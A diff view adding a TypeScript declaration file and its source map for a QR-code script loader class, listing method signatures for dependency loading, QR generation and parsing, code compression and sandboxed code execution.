|
+
recommendations: Record<string, string>;
|
36
|
+
}
|
37
|
+
export type LogLevel = 'normal' | 'info' | 'warning' | 'error';
|
38
|
+
export declare class QRCodeScriptLoader {
|
39
|
+
private options;
|
40
|
+
private capacities;
|
41
|
+
private correctLevels;
|
42
|
+
private dependenciesLoaded;
|
43
|
+
onLog: ((message: string, level: LogLevel) => void) | null;
|
44
|
+
onProgress: ((progress: number) => void) | null;
|
45
|
+
constructor(options?: QRCodeLoaderOptions);
|
46
|
+
/**
|
47
|
+
* 自动检测并加载必要的依赖
|
48
|
+
*/
|
49
|
+
private initializeDependencies;
|
50
|
+
/**
|
51
|
+
* 检查缺失的依赖
|
52
|
+
*/
|
53
|
+
private checkMissingDependencies;
|
54
|
+
/**
|
55
|
+
* 加载缺失的依赖
|
56
|
+
*/
|
57
|
+
private loadMissingDependencies;
|
58
|
+
/**
|
59
|
+
* 动态加载脚本
|
60
|
+
*/
|
61
|
+
private loadScript;
|
62
|
+
/**
|
63
|
+
* 手动确保依赖已加载(用于用户主动调用)
|
64
|
+
*/
|
65
|
+
ensureDependencies(): Promise<boolean>;
|
66
|
+
/**
|
67
|
+
* 检查特定功能是否可用
|
68
|
+
*/
|
69
|
+
isFeatureAvailable(feature: 'generate' | 'parse' | 'compress'): boolean;
|
70
|
+
generateQRCodeData(code: string, forceCompress?: boolean): Promise<QRCodeGenerateResult>;
|
71
|
+
parseQRCodeFromImageData(imageData: ImageData): Promise<string>;
|
72
|
+
parseQRCodeFromUrl(imageUrl: string): Promise<string>;
|
73
|
+
executeCode(code: string, context?: Record<string, any>): any;
|
74
|
+
compressCode(code: string): Promise<string>;
|
75
|
+
decompressCode(compressedData: string): Promise<string>;
|
76
|
+
private selectCorrectLevel;
|
77
|
+
private executeInSandbox;
|
78
|
+
private getByteLength;
|
79
|
+
private uint8ArrayToBase64;
|
80
|
+
private log;
|
81
|
+
getCapacityInfo(): QRCodeCapacityInfo;
|
82
|
+
/**
|
83
|
+
* 获取依赖状态信息
|
84
|
+
*/
|
85
|
+
getDependencyStatus(): {
|
86
|
+
loaded: boolean;
|
87
|
+
available: {
|
88
|
+
generate: boolean;
|
89
|
+
parse: boolean;
|
90
|
+
compress: boolean;
|
91
|
+
};
|
92
|
+
missing: string[];
|
93
|
+
};
|
94
|
+
}
|
95
|
+
//# sourceMappingURL=index.d.ts.map
|
@@ -0,0 +1 @@
|
|
1
|
+
{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src/qr/index.ts"],"names":[],"mappings":"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"}
|